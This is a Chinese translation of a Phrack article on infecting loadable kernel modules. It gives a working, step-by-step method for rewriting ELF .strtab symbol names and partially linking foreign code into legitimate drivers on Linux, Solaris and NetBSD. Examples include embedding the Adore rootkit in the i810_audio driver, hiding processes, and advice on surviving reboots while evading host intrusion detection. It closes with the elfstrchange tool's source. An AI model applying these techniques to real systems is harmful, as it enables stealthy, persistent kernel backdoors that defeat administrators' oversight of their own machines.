==Phrack Inc.==
Volume 0x0b, Issue 0x3d, Phile #0x0a of 0x0f
|=----------------=[ Infecting loadable kernel modules ]=----------------=| |=-----------------------------------------------------------------------=| |=--------------------=[ truff <truff@projet7.org> ]=-------------------=| |=-----------------------------------------------------------------------=| |=------------=[ translator: osmose <osmose@ph4nt0m.net> ]=-------------=|
LKM 注射
--[ 内容
1 - 介绍
2 - ELF 基础知识 2.1 - The .symtab section 2.2 - The .strtab section
3 - 玩转 loadable kernel modules 3.1 - 模块加载 3.2 - 修改 .strtab section 3.3 - 插入代码 3.4 - 保持隐蔽性
4 - 实例 4.1 - 最简单的 LKM 感染 4.2 - 我还会回来的 (重启之后)
5 - 关于其他的操作系统 5.1 - Solaris 5.2 - *BSD 5.2.1 - FreeBSD 5.2.2 - NetBSD 5.2.3 - OpenBSD
6 - 结论
7 - 感谢
8 - 参考资料
9 - 源代码 9.1 - ElfStrChange 9.2 - Lkminject
--[ 1 - 介绍
这些年来,很多 rootkit 使用了 loadable kernel modules。这仅仅是一种短暂的流 行现象吗?不是,lkm 的广泛使用得益于它强大的功能:可以隐藏文件,进程还有其他 一些妙用。对于第一代使用 lkm 的 rootkits,使用lsmod命令就可以轻易的找出它们。 我们见过许许多多隐藏模块的手法,比如在Plaguez的文章 [1]里提到的那种,还有更多 的在Adore Rootkit [2]里面用到的技巧。几年以后,我们还看到一些新技术:通过使用 /dev/kmem [3] 修改kernel内存映射(kernel memory image)。最后,参考资料[4]向 我们展示了静态内核补丁(static kernel patching)技术。这个技术解决了一个大问题: rootkit在机器重启后可以重新加载。
(译者注:查找了一下lsmod的运作方式,供大家了解。"在kernel 2.0.x 时,指令 'lsmod'是去开启档案 '/proc/modules' 来得知系统中,已加载哪些 Module。不过 到了kernel 2.1.x以后,系统提供了函式' query_module'。因此,此时'lsmod'的实 作便是透过呼叫 query_module 来取得系统已加载 module的相关资料。")
本文提出了一种新的隐藏lkm rootkits的技术并且保证这些rootkit在机器重启后能够 重新加载。文章会提到如何感染一个系统使用的内核模块。本文针对的是 Linux kernel x86 2.4.x 系列,不过这个技术可以在任何使用ELF文件格式的系统中推广。要了解这个 技术需要一些基础知识。内核模块是ELF object 文件,我们需要了解一点ELF格式,尤其 是关于符号命名部分的知识。此后,我们会接着学习模块加载机制以便了解如何把恶意代 码插入内核模块中。最后,实战操作一下模块的插入。
--[ 2 - ELF 基础
Executable(可执行) & Linking(链接) Format (ELF) 是用于linux操作系统上的 可执行文件格式。我们先要了解部分相关知识,以后用得着(如果想要全面了解ELF格式, 请参考[1])。 当链接两个ELF object 文件的时候,链接程序需要知道每个object文件 里相关符号的一些情况。每个ELF object文件(比如lkm的那些object文件)包含了两个 部分(译者注:就是后文的 .symtab 和 .strtab 两个section )。这两个section 是用 来存储每个符号的信息结构的。我们不但要研究它们,还要总结出一些对感染内核模块有 用的思路。
----[ 2.1 - .symtab section
这部分是一个结构列表。当链接程序使用那些ELF object文件里的符号时,就需要这些 数据。在/usr/include/elf.h里可以找到这个结构的定义:
/* Symbol table entry. */(符号列表入口)
typedef struct { Elf32_Word st_name; /* Symbol name (string tbl index) */(符号名(字符串列表索引)) Elf32_Addr st_value; /* Symbol value */(符号的值) Elf32_Word st_size; /* Symbol size */(符号数据占用空间的大小) unsigned char st_info; /* Symbol type and binding */(符号类型和绑定) unsigned char st_other; /* Symbol visibility */(符号的可见性) Elf32_Section st_shndx; /* Section index */(各section 的索引) } Elf32_Sym;
这里我们只对st_name感兴趣。实际上它是 .strtab section 的索引,而那些符号的名称就是 存储在 .strtab 里面的。
----[ 2.2 - .strtab section
.strtab section 是一个非空字符串的列表。正如我们上面看见的,Elf32_Sym里面的st_name 是 .strtab section 的索引。如果我们寻找的符号在某个字符串里,我们可以很方便的得到这个 字符串的偏移地址。下面是我们的计算公式:
offset_sym_name = offset_strtab + st_name
offset_strtab 是 .strtab section 相对于文件起始处的偏移地址,可以通过section 名称解 析机制获得。这和我们要谈的技术关系不是很大,这里就不深究了。参考资料[5]里面详细探讨了 这个问题,后面章节9.1给出了具体实现的代码。
现在可以说,在ELF object 文件里,我们可以很方便的找到符号名并修改它们。不过修改过程 中始终要牢记一点:.strtab section 是由连续的非空字符串组成的,这对修改后新的符号名是一 个限制:新名称的长度不能超过原来的那个长度,否则会殃及 .strtab 中下一个符号。(译者注: 这里和溢出的道理一样,新名称长度超过原先设定值,多出的部分就会写到后面一个符号名区域里, 覆盖后面有用的部分)
遵守了这一点,我们就能做到简单的修改符号名而不影响模块的正常运行,最终实现用一 个模块感染另一个模块。
--[ 3 - 玩转 loadable kernel modules
下面这段给出了动态加载模块程序的源代码。了解了这个,我们就能学会在模块中插入代 码了。
----[ 3.1 - 模块加载
内核模块的加载是通过insmod这个用户空间工具实现的。insmod包含在modutils包里[6]。 我们感兴趣的东西是insmod.c文件里的init_module()函数。
static int init_module(const char *m_name, struct obj_file *f, unsigned long m_size, const char *blob_name, unsigned int noload, unsigned int flag_load_map) { (1) struct module *module; struct obj_section *sec; void *image; int ret = 0; tgt_long m_addr;
....
(2) module->init = obj_symbol_final_value(f, obj_find_symbol(f, "init_module")); (3) module->cleanup = obj_symbol_final_value(f, obj_find_symbol(f, "cleanup_module"));
....
if (ret == 0 && !noload) { fflush(stdout); /* Flush any debugging output */ (4) ret = sys_init_module(m_name, (struct module *) image); if (ret) { error("init_module: %m"); lprintf( "Hint: insmod errors can be caused by incorrect module parameters, " "including invalid IO or IRQ parameters.\n" "You may find more information in syslog or the output from dmesg"); } }
在 (1) 里,函数向一个结构体模块(struct module)填充了加载模块必须的数据。 需要关注的部分是 init_module 和 cleanup_module。这是两个函数指针,分别指向 被加载模块的 init_module() 和 cleanup_module() 函数。(2)里面的 obj_find_symbol() 函数遍历符号列表查找名字为init_module的符号,然后提取这个结构体符号(struct symbol)并把它传递给 obj_symbol_final_value()。后者从这个结构体符号提取出 init_module函数的地址。同理,在 (3) 里这个工作对于cleanup_module()又重复了一 遍。需要牢记的是,对于模块初始化或结束时调用的函数,他们在 .strtab section 的入口 分别对应着 init_module 和 cleanup_module。
当结构体模块填充完毕后,(4) 使用了 sys_init_module() 这个系统调用(syscall) 通知内核加载相应模块。
模块加载过程中程序调用了 sys_init_module(),其中有我们感兴趣的部分。这个函 数的代码可以在 /usr/src/linux/kernel/module.c 里找到:
asmlinkage long sys_init_module(const char *name_user, struct module *mod_user) { struct module mod_tmp, *mod; char *name, *n_name, *name_tmp = NULL; long namelen, n_namelen, i, error; unsigned long mod_user_size; struct module_ref *dep;
/* 很多sanity checks */ ..... /* 好了,上面是我们可以忍受的所有的sanity checks;剩下的拷贝如下。*/
(1) if (copy_from_user((char *)mod+mod_user_size, (char *)mod_user+mod_user_size, mod->size-mod_user_size)) { error = -EFAULT; goto err3; }
/* 其他的sanity checks */
....
/* 初始化模块 */ atomic_set(&mod->uc.usecount,1); mod->flags |= MOD_INITIALIZING; (2) if (mod->init && (error = mod->init()) != 0) { atomic_set(&mod->uc.usecount,0); mod->flags &= ~MOD_INITIALIZING; if (error > 0) /* Buggy module */ error = -EBUSY; goto err0; } atomic_dec(&mod->uc.usecount);
在一些sanity check之后,结构体模块被 (1) 里的copy_from_user()从用户空间拷贝 到内核空间。然后 (2) 里通过使用 mod->init() 函数指针调用了被加载模块的 init_module() 函数。而 mod->init() 这个指针的值是由 insmod 这个工具填充的。
----[ 3.2 - 修改 .strtab section
前面已经提到了,通过检查 .strtab section 里的字符串,我们可以定位模块中init函数的 地址。而通过修改这个字符串,我们可以在模块被加载的时候执行其他的函数。
修改 .strtab section 入口有几种办法。ld 的 -wrap 参数可以做到。不过这个方法和我们 后面要用到的 -r 参数(章节3.3)不兼容。在章节5.1里,我们会看到如何用xxd完成这 个工作。我写了一个工具(章节9.1)自动执行这些。
下面是一个简单的例子:
$ cat test.c #define MODULE #define __KERNEL__
#include <linux/module.h> #include <linux/kernel.h>
int init_module(void) { printk ("<1> Into init_module()\n"); return 0; }
int evil_module(void) { printk ("<1> Into evil_module()\n"); return 0; }
int cleanup_module(void) { printk ("<1> Into cleanup_module()\n"); return 0; }
$ cc -O2 -c test.c
让我们看看 .symtab 和 .strtab 这两个section:
$ objdump -t test.o
test.o: file format elf32-i386
SYMBOL TABLE: 0000000000000000 l df *ABS* 0000000000000000 test.c 0000000000000000 l d .text 0000000000000000 0000000000000000 l d .data 0000000000000000 0000000000000000 l d .bss 0000000000000000 0000000000000000 l d .modinfo 0000000000000000 0000000000000000 l O .modinfo 0000000000000016 __module_kernel_version 0000000000000000 l d .rodata 0000000000000000 0000000000000000 l d .comment 0000000000000000 0000000000000000 g F .text 0000000000000014 init_module 0000000000000000 *UND* 0000000000000000 printk 0000000000000014 g F .text 0000000000000014 evil_module 0000000000000028 g F .text 0000000000000014 cleanup_module
我们马上要修改 .strtab section 的两个入口以便把 evil_module 的符号名改成 init_module。 首先必须把 init_module 这个符号重命名。在同一个ELF object文件里,两个性质相同的符 号名字不能重复。下面是操作过程:
重命名 1) init_module ----> dumm_module 2) evil_module ----> init_module
$ ./elfstrchange test.o init_module dumm_module [+] Symbol init_module located at 0x3dc [+] .strtab entry overwriten with dumm_module
$ ./elfstrchange test.o evil_module init_module [+] Symbol evil_module located at 0x3ef [+] .strtab entry overwriten with init_module
$ objdump -t test.o
test.o: file format elf32-i386
SYMBOL TABLE: 0000000000000000 l df *ABS* 0000000000000000 test.c 0000000000000000 l d .text 0000000000000000 0000000000000000 l d .data 0000000000000000 0000000000000000 l d .bss 0000000000000000 0000000000000000 l d .modinfo 0000000000000000 0000000000000000 l O .modinfo 0000000000000016 __module_kernel_version 0000000000000000 l d .rodata 0000000000000000 0000000000000000 l d .comment 0000000000000000 0000000000000000 g F .text 0000000000000014 dumm_module 0000000000000000 *UND* 0000000000000000 printk 0000000000000014 g F .text 0000000000000014 init_module 0000000000000028 g F .text 0000000000000014 cleanup_module
# insmod test.o # tail -n 1 /var/log/kernel May 4 22:46:55 accelerator kernel: Into evil_module()
正如我们看到的,evil_module() 被当作 init_module() 调用了。
----[ 3.3 - 插入代码
不断发展的技术使得替换函数并且执行变成了可能,不过这还不是特别有趣。如果我们 能在已有的模块中插入外来的代码就更好了。有一种方法可以 *轻松* 做到这点--使用 ld 这个法宝。
$ cat original.c #define MODULE #define __KERNEL__
#include <linux/module.h> #include <linux/kernel.h>
int init_module(void) { printk ("<1> Into init_module()\n"); return 0; }
int cleanup_module(void) { printk ("<1> Into cleanup_module()\n"); return 0; }
$ cat inject.c #define MODULE #define __KERNEL__
#include <linux/module.h> #include <linux/kernel.h>
int inje_module (void) { printk ("<1> Injected\n"); return 0; }
$ cc -O2 -c original.c $ cc -O2 -c inject.c
重要部分开始了。由于内核模块都是可以重定位的ELF object文件,代码插入并不是个 问题。这种object文件在链接后可以共享彼此的符号。同样这里有一个原则:要链接在一 起的几个模块里不能有同名符号。使用 ld 命令带上 -r 参数完成一个部分链接,不改变 链接文件的性质。这样声明的模块可以被内核加载。
$ ld -r original.o inject.o -o evil.o $ mv evil.o original.o $ objdump -t original.o
original.o: file format elf32-i386
SYMBOL TABLE: 0000000000000000 l d .text 0000000000000000 0000000000000000 l d *ABS* 0000000000000000 0000000000000000 l d .rodata 0000000000000000 0000000000000000 l d .modinfo 0000000000000000 0000000000000000 l d .data 0000000000000000 0000000000000000 l d .bss 0000000000000000 0000000000000000 l d .comment 0000000000000000 0000000000000000 l d *ABS* 0000000000000000 0000000000000000 l d *ABS* 0000000000000000 0000000000000000 l d *ABS* 0000000000000000 0000000000000000 l df *ABS* 0000000000000000 original.c 0000000000000000 l O .modinfo 0000000000000016 __module_kernel_version 0000000000000000 l df *ABS* 0000000000000000 inject.c 0000000000000016 l O .modinfo 0000000000000016 __module_kernel_version 0000000000000014 g F .text 0000000000000014 cleanup_module 0000000000000000 g F .text 0000000000000014 init_module 0000000000000000 *UND* 0000000000000000 printk 0000000000000028 g F .text 0000000000000014 inje_module
这样 inje_module() 函数就被链接进了模块。现在我们要修改 .strtab section 以保证模块 加载时被调用的是inje_module()而不是init_module()。
$ ./elfstrchange original.o init_module dumm_module [+] Symbol init_module located at 0x4a8 [+] .strtab entry overwriten with dumm_module
$ ./elfstrchange original.o inje_module init_module [+] Symbol inje_module located at 0x4bb [+] .strtab entry overwriten with init_module
开火吧:
# insmod original.o # tail -n 1 /var/log/kernel May 14 20:37:02 accelerator kernel: Injected
奇迹发生了 :)
----[ 3.4 - 保持隐蔽性
大多数时候,我们要感染那些正在使用的的模块。如果我们用别的函数替换 了init_module(),模块原先的功能就不能发挥了。明眼人很容易发现这个被感染 的模块。有一个解决方法可以既保留原有的功能,又能插入我们的代码。.strtab 被 hack 了以后,真正的 init_module() 函数重命名为dumm_module。如果我 们在插入的 evil_module() 函数里调用 dumm_module(),那么真正的 init_module() 就会在模块初始化时执行,从而模块原有的功能也不会被破坏。
替换 init_module ------> dumm_module inje_module ------> init_module (将会调用 dumm_module)
$ cat stealth.c #define MODULE #define __KERNEL__
#include <linux/module.h> #include <linux/kernel.h>
int inje_module (void) { dumm_module (); printk ("<1> Injected\n"); return 0; }
$ cc -O2 -c stealth.c $ ld -r original.o stealth.o -o evil.o $ mv evil.o original.o $ ./elfstrchange original.o init_module dumm_module [+] Symbol init_module located at 0x4c9 [+] .strtab entry overwriten with dumm_module
$ ./elfstrchange original.o inje_module init_module [+] Symbol inje_module located at 0x4e8 [+] .strtab entry overwriten with init_module
# insmod original.o # tail -n 2 /var/log/kernel May 17 14:57:31 accelerator kernel: Into init_module() May 17 14:57:31 accelerator kernel: Injected
好极了,我们插入的代码在正常代码运行之后也得到了执行,这下够隐蔽的了。
--[ 4 - 实例
下面修改 init_module() 的方法对 cleanup_module() 函数也同样适用。这样,我们就 可以把一个完整的模块插入另一个模块中去了。我曾经通过简单的处理把著名的 Adore[2] rootkit 插入到我的声卡驱程(i810_audio.o)里。
----[ 4.1 - 最简单的 LKM 感染
1) 我们必须对adore.c稍稍做点修改
* 在 init_module() 函数里加入对 dumm_module() 的调用 * 在 cleanup_module() 模块函数里加入对 dummcle_module() 的调用 * 把 init_module 函数名改成 evil_module * 把 cleanup_module 函数名改成 evclean_module (译者注:注意始终保持函数名长度和原名称的一致性)
2) 用 make 命令编译 Adore
3) 把 adore.o 和 i810_audio.o 链接
ld -r i810_audio.o adore.o -o evil.o
如果将要被插入的模块已经加载了,必须先卸载它:
rmmod i810_audio
mv evil.o i810_audio.o
4) 修改 .strtab section
替换 init_module ------> dumm_module evil_module ------> init_module (将会调用 dumm_module)
cleanup_module ------> evclean_module evclean_module ------> cleanup_module (将会调用 evclean_module)
$ ./elfstrchange i810_audio.o init_module dumm_module [+] Symbol init_module located at 0xa2db [+] .strtab entry overwriten with dumm_module
$ ./elfstrchange i810_audio.o evil_module init_module [+] Symbol evil_module located at 0xa4d1 [+] .strtab entry overwriten with init_module
$ ./elfstrchange i810_audio.o cleanup_module dummcle_module [+] Symbol cleanup_module located at 0xa169 [+] .strtab entry overwriten with dummcle_module
$ ./elfstrchange i810_audio.o evclean_module cleanup_module [+] Symbol evclean_module located at 0xa421 [+] .strtab entry overwriten with cleanup_module
5) 加载并且测试模块
# insmod i810_audio # ./ava Usage: ./ava {h,u,r,R,i,v,U} [file, PID or dummy (for U)]
h hide file u unhide file r execute as root R remove PID forever U uninstall adore i make PID invisible v make PID visible
# ps PID TTY TIME CMD 2004 pts/3 00:00:00 bash 2083 pts/3 00:00:00 ps
# ./ava i 2004 Checking for adore 0.12 or higher ... Adore 0.53 installed. Good luck. Made PID 2004 invisible.
root@accelerator:/home/truff/adore# ps PID TTY TIME CMD #
完美吧 :) 为了方便懒人干活,我写了一个简单的shell脚本(章节 9.2)做这些工作。
----[ 4.2 - 我还会回来的 (重启之后)
当模块加载时,为了以后进一步的需要,我们有两种选择:
* 用感染后的模块替换 /lib/modules/ 里真正的模块。 这可以保证重启后我们的后门能够被重新加载。但是,这也会被像 Tripwire[7] 这样 的HIDS(Host Intrusion Detection System 文件入侵监测系统)发现。不过不要太担 心,内核模块既不是可执行文件也不是一个suid文件,如果管理员配置的HIDS规则 不是太变态,还是查不到我们头上的。
* 不去动那些放在 /lib/modules 下真正的内核模块,同时删除被感染的模块。这样,即 使HIDS监测文件的修改情况,它们也只能无功而返。
--[ 5 - 关于其他的操作系统
----[ 5.1 - Solaris
我通过[8]里的一个基本内核模块来讲解这个例子。Solaris 内核模块使用了三个基本函数:
- _init 模块初始化的时候调用 - _fini 模块卸载时调用 - _info 当用户使用modinfo命令时,负责输出模块信息
$ uname -srp SunOS 5.7 sparc
$ cat mod.c #include <sys/ddi.h> #include <sys/sunddi.h> #include <sys/modctl.h>
extern struct mod_ops mod_miscops;
static struct modlmisc modlmisc = { &mod_miscops, "Real Loadable Kernel Module", };
static struct modlinkage modlinkage = { MODREV_1, (void *)&modlmisc, NULL };
int _init(void) { int i; if ((i = mod_install(&modlinkage)) != 0) cmn_err(CE_NOTE,"Could not install module\n"); else cmn_err(CE_NOTE,"mod: successfully installed"); return i; }
int _info(struct modinfo *modinfop) { return (mod_info(&modlinkage, modinfop)); }
int _fini(void) { int i; if ((i = mod_remove(&modlinkage)) != 0) cmn_err(CE_NOTE,"Could not remove module\n"); else cmn_err(CE_NOTE,"mod: successfully removed"); return i; }
$ gcc -m64 -D_KERNEL -DSRV4 -DSOL2 -c mod.c $ ld -r -o mod mod.o $ file mod mod: ELF 64-bit MSB relocatable SPARCV9 Version 1
正如我们在linux例子里看到的,我们要插入的代码里必须包含对真正 init 函数的调 用,这样模块才能和原来一样正常工作。不过,我们要面对一个问题:如果我们在模块 链接之后再修改 .strtab section ,动态加载程序无法找到 _dumm() 函数,模块自然 也无法被正常加载。在这个问题上我没有太深入的研究,但是我觉得Solaris的动态加载 程序不会在模块里查找那些没有被定义的符号。所以问题解决了:我们只要在链接之前把 .strtab入口的 _init 重命名为 _dumm 就可以了。
$ readelf -S mod 有10个section 的header(section headers),它们的偏移地址从 0x940 开始。
Section Headers: [Nr] Name Type Address Offset Size EntSize Flags Link Info Align [ 0] NULL 0000000000000000 00000000 0000000000000000 0000000000000000 0 0 0 [ 1] .text PROGBITS 0000000000000000 00000040 0000000000000188 0000000000000000 AX 0 0 4 [ 2] .rodata PROGBITS 0000000000000000 000001c8 000000000000009b 0000000000000000 A 0 0 8 [ 3] .data PROGBITS 0000000000000000 00000268 0000000000000050 0000000000000000 WA 0 0 8 [ 4] .symtab SYMTAB 0000000000000000 000002b8 0000000000000210 0000000000000018 5 e 8 [ 5] .strtab STRTAB 0000000000000000 000004c8 0000000000000065 0000000000000000 0 0 1 [ 6] .comment PROGBITS 0000000000000000 0000052d 0000000000000035 0000000000000000 0 0 1 [ 7] .shstrtab STRTAB 0000000000000000 00000562 000000000000004e 0000000000000000 0 0 1 [ 8] .rela.text RELA 0000000000000000 000005b0 0000000000000348 0000000000000018 4 1 8 [ 9] .rela.data RELA 0000000000000000 000008f8 0000000000000048 0000000000000018 4 3 8 Flag 注释: W (write写), A (alloc分配), X (execute执行), M (merge合并), S (strings字符串) I (info信息), L (link order链接顺序), G (group组), x (unknown未知) O (extra OS processing required需要额外的系统处理), o (OS specific制定操作系统) p (processor specific指定处理器)
.strtab section 的起始偏移地址为 0x4c8,大小是 64 位。下面我们用vi 和 xxd 作为我们的 16位编辑器修改 .strtab section 。用 vi mod 这个命令在vi里打开模块。然后输入 :%!xxd 把 模块转换成16进制。你会看到下面这些字符:
00004c0: 0000 0000 0000 0000 006d 6f64 006d 6f64 .........mod.mod 00004d0: 2e63 006d 6f64 6c69 6e6b 6167 6500 6d6f .c.modlinkage.mo 00004e0: 646c 6d69 7363 006d 6f64 5f6d 6973 636f dlmisc.mod_misco 00004f0: 7073 005f 696e 666f 006d 6f64 5f69 6e73 ps._info.mod_ins 0000500: 7461 6c6c 005f 696e 6974 006d 6f64 5f69 tall._init.mod_i ^^^^^^^^^
我们用 _dumm 替换 _init,只修改四个字节。
00004c0: 0000 0000 0000 0000 006d 6f64 006d 6f64 .........mod.mod 00004d0: 2e63 006d 6f64 6c69 6e6b 6167 6500 6d6f .c.modlinkage.mo 00004e0: 646c 6d69 7363 006d 6f64 5f6d 6973 636f dlmisc.mod_misco 00004f0: 7073 005f 696e 666f 006d 6f64 5f69 6e73 ps._info.mod_ins 0000500: 7461 6c6c 005f 6475 6d6d 006d 6f64 5f69 tall._init.mod_i ^^^^^^^^^ ^^^^ ^^^^ (译者注:这里似乎应该是dumm, 可能是笔误)
用 :%!xxd -r 这个命令把模块从16进制转换回去,保存退出。然后我们来证实一下我们 的修改是否成功。
$ objdump -t mod
mod: file format elf64-sparc
SYMBOL TABLE: 0000000000000000 l df *ABS* 0000000000000000 mod 0000000000000000 l d .text 0000000000000000 0000000000000000 l d .rodata 0000000000000000 0000000000000000 l d .data 0000000000000000 0000000000000000 l d *ABS* 0000000000000000 0000000000000000 l d *ABS* 0000000000000000 0000000000000000 l d .comment 0000000000000000 0000000000000000 l d *ABS* 0000000000000000 0000000000000000 l d *ABS* 0000000000000000 0000000000000000 l d *ABS* 0000000000000000 0000000000000000 l df *ABS* 0000000000000000 mod.c 0000000000000010 l O .data 0000000000000040 modlinkage 0000000000000000 l O .data 0000000000000010 modlmisc 0000000000000000 *UND* 0000000000000000 mod_miscops 00000000000000a4 g F .text 0000000000000040 _info 0000000000000000 *UND* 0000000000000000 mod_install 0000000000000000 g F .text 0000000000000188 _dumm 0000000000000000 *UND* 0000000000000000 mod_info 0000000000000000 *UND* 0000000000000000 mod_remove 00000000000000e4 g F .text 0000000000000188 _fini 0000000000000000 *UND* 0000000000000000 cmn_err
可以看到 _init 已经被 _dumm 替换了。现在我们可以直接插入一个名为 _init 的函数了。
$ cat evil.c int _init(void) { _dumm (); cmn_err(1,"evil: successfully installed"); return 0; }
$ gcc -m64 -D_KERNEL -DSRV4 -DSOL2 -c inject.c $ ld -r -o inject inject.o
用ld命令插入模块:
$ ld -r -o evil mod inject
加载模块:
# modload evil # tail -f /var/adm/messages Jul 15 10:58:33 luna unix: NOTICE: mod: successfully installed Jul 15 10:58:33 luna unix: NOTICE: evil: successfully installed
利用 _fini 函数把一个完整模块插入其他模块的操作和上面的一样。
----[ 5.2 - *BSD
------[ 5.2.1 - FreeBSD
% uname -srm FreeBSD 4.8-STABLE i386
% file /modules/daemon_saver.ko daemon_saver.ko: ELF 32-bit LSB shared object, Intel 80386, version 1 (FreeBSD), not stripped
正如我们看到的,FreeBSD 内核模块是共享object的,所以我们无法使用ld命令把恶意 代码和模块链接到一起。不仅如此,FreeBSD 加载模块的机制和 Linux 以及 Solaris 都不 一样。看看 /usr/src/sys/kern/kern_linker.c 你就明白了。init/cleanup 的函数名可以 五花八门。初始化时,加载程序直接在 .data section 的一个结构体内找到 init 函数的 地址,而不是靠函数名判断。因此上面的hack .strtab 的方法不再适用了。
------[ 5.2.2 - NetBSD
$ file nvidia.o nvidia.o: ELF 32-bit LSB relocatable, Intel 80386, version 1 (SYSV), not stripped
NetBSD 内核模块是可以重定位的 ELF object 文件,可以插入模块。当使用 modload 命 令加载内核模块的时候,加载程序把模块和内核链接起来,同时执行模块入口处的代码(代 码放在ELF header里)。
链接以后,我们可以修改模块入口。不过没有必要这样做。modload 命令提供了"-e"参 数,方便我们设置哪个符号为入口点。
下面是一个例子,我们要感染的模块:
$ cat gentil_lkm.c #include <sys/cdefs.h> #include <sys/param.h> #include <sys/ioctl.h> #include <sys/systm.h> #include <sys/conf.h> #include <sys/lkm.h>
MOD_MISC("gentil");
int gentil_lkmentry(struct lkm_table *, int, int); int gentil_lkmload(struct lkm_table *, int); int gentil_lkmunload(struct lkm_table *, int); int gentil_lkmstat(struct lkm_table *, int);
int gentil_lkmentry(struct lkm_table *lkmt, int cmd, int ver) { DISPATCH(lkmt, cmd, ver, gentil_lkmload, gentil_lkmunload, gentil_lkmstat); }
int gentil_lkmload(struct lkm_table *lkmt, int cmd) { printf("gentil: Hello, world!\n"); return (0); }
int gentil_lkmunload(struct lkm_table *lkmt, int cmd) { printf("gentil: Goodbye, world!\n"); return (0); }
int gentil_lkmstat(struct lkm_table *lkmt, int cmd) { printf("gentil: How you doin', world?\n"); return (0); }
下面这部分是要插入的代码:
$ cat evil_lkm.c #include <sys/cdefs.h> #include <sys/param.h> #include <sys/ioctl.h> #include <sys/systm.h> #include <sys/conf.h> #include <sys/lkm.h>
int gentil_lkmentry(struct lkm_table *, int, int);
int inject_entry(struct lkm_table *lkmt, int cmd, int ver) { switch(cmd) { case LKM_E_LOAD: printf("evil: in place\n"); break; case LKM_E_UNLOAD: printf("evil: i'll be back!\n"); break; case LKM_E_STAT: printf("evil: report in progress\n"); break; default: printf("edit: unknown command\n"); break; }
return gentil_lkmentry(lkmt, cmd, ver); }
分别编译了 gentil 和 evil 之后,我们把它们链接到一起:
$ ld -r -o evil.o gentil.o inject.o $ mv evil.o gentil.o
# modload -e evil_entry gentil.o Module loaded as ID 2
# modstat Type Id Offset Loadaddr Size Info Rev Module Name DEV 0 -1/108 d3ed3000 0004 d3ed3440 1 mmr DEV 1 -1/180 d3fa6000 03e0 d4090100 1 nvidia MISC 2 0 e45b9000 0004 e45b9254 1 gentil
# modunload -n gentil
# dmesg | tail evil: in place gentil: Hello, world! evil: report in progress gentil: How you doin', world? evil: i'll be back! gentil: Goodbye, world!
好了,一切如此完美 :)
------[ 5.2.3 - OpenBSD
OpenBSD 不使用 x86 构架的 ELF 文件,所以这个技术没有用武之地。我没有在那些使 用ELF的平台上测试过,但是我觉得它们看起来和NetBSD差不多,上面的hack技术应该 也适用。如果你在使用ELF的 OpenBSD 平台上成功了,告诉我一声。
--[ 6 - 结论
这篇文章补充了一些在内核中集成代码的方法。我提出这个技术是因为你只要做很少的处 理就可以实现代码的插入,的确很有趣。 好好玩吧 :)
--[ 7 - 感谢
我要感谢 mycroft, OUAH, aki 和 afrique 给我的意见和建议。非常感谢 klem 教会我 逆向工程。 感谢 FXKennedy 在 NetBSD 方面给我的帮助。 A big kiss to Carla for being wonderfull. (译者注:这句话我就不翻了^_^) 最后感谢所有 #root 的人们, `spud, hotfyre, funka, jaia,climax, redoktober ...
--[ 8 - 参考资料
[1] Weakening the Linux Kernel by Plaguez http://www.phrack.org/show.php?p=52&a=18
[2] The Adore rootkit by stealth http://stealth.7350.org/rootkits/
[3] Runtime kernel kmem patching by Silvio Cesare http://vx.netlux.org/lib/vsc07.html
[4] Static Kernel Patching by jbtzhm http://www.phrack.org/show.php?p=60&a=8
[5] Tool interface specification on ELF http://segfault.net/~scut/cpu/generic/TIS-ELF_v1.2.pdf
[6] Modutils for 2.4.x kernels ftp://ftp.kernel.org/pub/linux/utils/kernel/modutils/v2.4
[7] Tripwire http://www.tripwire.org
[8] Solaris Loadable Kernel Modules by Plasmoid http://www.thc.org/papers/slkm-1.0.html
--[ 9 - 源代码
----[ 9.1 - ElfStrChange
/* * elfstrchange.c by truff <truff@projet7.org> * Change the value of a symbol name in the .strtab section * * Usage: elfstrchange elf_object sym_name sym_name_replaced * */
#include <stdlib.h> #include <stdio.h> #include <elf.h>
#define FATAL(X) { perror (X);exit (EXIT_FAILURE); }
int ElfGetSectionName (FILE *fd, Elf32_Word sh_name, Elf32_Shdr *shstrtable, char *res, size_t len);
Elf32_Off ElfGetSymbolByName (FILE *fd, Elf32_Shdr *symtab, Elf32_Shdr *strtab, char *name, Elf32_Sym *sym);
Elf32_Off ElfGetSymbolName (FILE *fd, Elf32_Word sym_name, Elf32_Shdr *strtable, char *res, size_t len);
int main (int argc, char **argv) { int i; int len = 0; char *string; FILE *fd; Elf32_Ehdr hdr; Elf32_Shdr symtab, strtab; Elf32_Sym sym; Elf32_Off symoffset;
fd = fopen (argv[1], "r+"); if (fd == NULL) FATAL ("fopen");
if (fread (&hdr, sizeof (Elf32_Ehdr), 1, fd) < 1) FATAL ("Elf header corrupted");
if (ElfGetSectionByName (fd, &hdr, ".symtab", &symtab) == -1) { fprintf (stderr, "Can't get .symtab section\n"); exit (EXIT_FAILURE); }
if (ElfGetSectionByName (fd, &hdr, ".strtab", &strtab) == -1) { fprintf (stderr, "Can't get .strtab section\n"); exit (EXIT_FAILURE); }
symoffset = ElfGetSymbolByName (fd, &symtab, &strtab, argv[2], &sym); if (symoffset == -1) { fprintf (stderr, "Symbol %s not found\n", argv[2]); exit (EXIT_FAILURE); }
printf ("[+] Symbol %s located at 0x%x\n", argv[2], symoffset);
if (fseek (fd, symoffset, SEEK_SET) == -1) FATAL ("fseek");
if (fwrite (argv[3], 1, strlen(argv[3]), fd) < strlen (argv[3])) FATAL ("fwrite");
printf ("[+] .strtab entry overwriten with %s\n", argv[3]);
fclose (fd);
return EXIT_SUCCESS; }
Elf32_Off ElfGetSymbolByName (FILE *fd, Elf32_Shdr *symtab, Elf32_Shdr *strtab, char *name, Elf32_Sym *sym) { int i; char symname[255]; Elf32_Off offset;
for (i=0; i<(symtab->sh_size/symtab->sh_entsize); i++) { if (fseek (fd, symtab->sh_offset + (i * symtab->sh_entsize), SEEK_SET) == -1) FATAL ("fseek");
if (fread (sym, sizeof (Elf32_Sym), 1, fd) < 1) FATAL ("Symtab corrupted");
memset (symname, 0, sizeof (symname)); offset = ElfGetSymbolName (fd, sym->st_name, strtab, symname, sizeof (symname)); if (!strcmp (symname, name)) return offset; }
return -1; }
int ElfGetSectionByIndex (FILE *fd, Elf32_Ehdr *ehdr, Elf32_Half index, Elf32_Shdr *shdr) { if (fseek (fd, ehdr->e_shoff + (index * ehdr->e_shentsize), SEEK_SET) == -1) FATAL ("fseek");
if (fread (shdr, sizeof (Elf32_Shdr), 1, fd) < 1) FATAL ("Sections header corrupted");
return 0; }
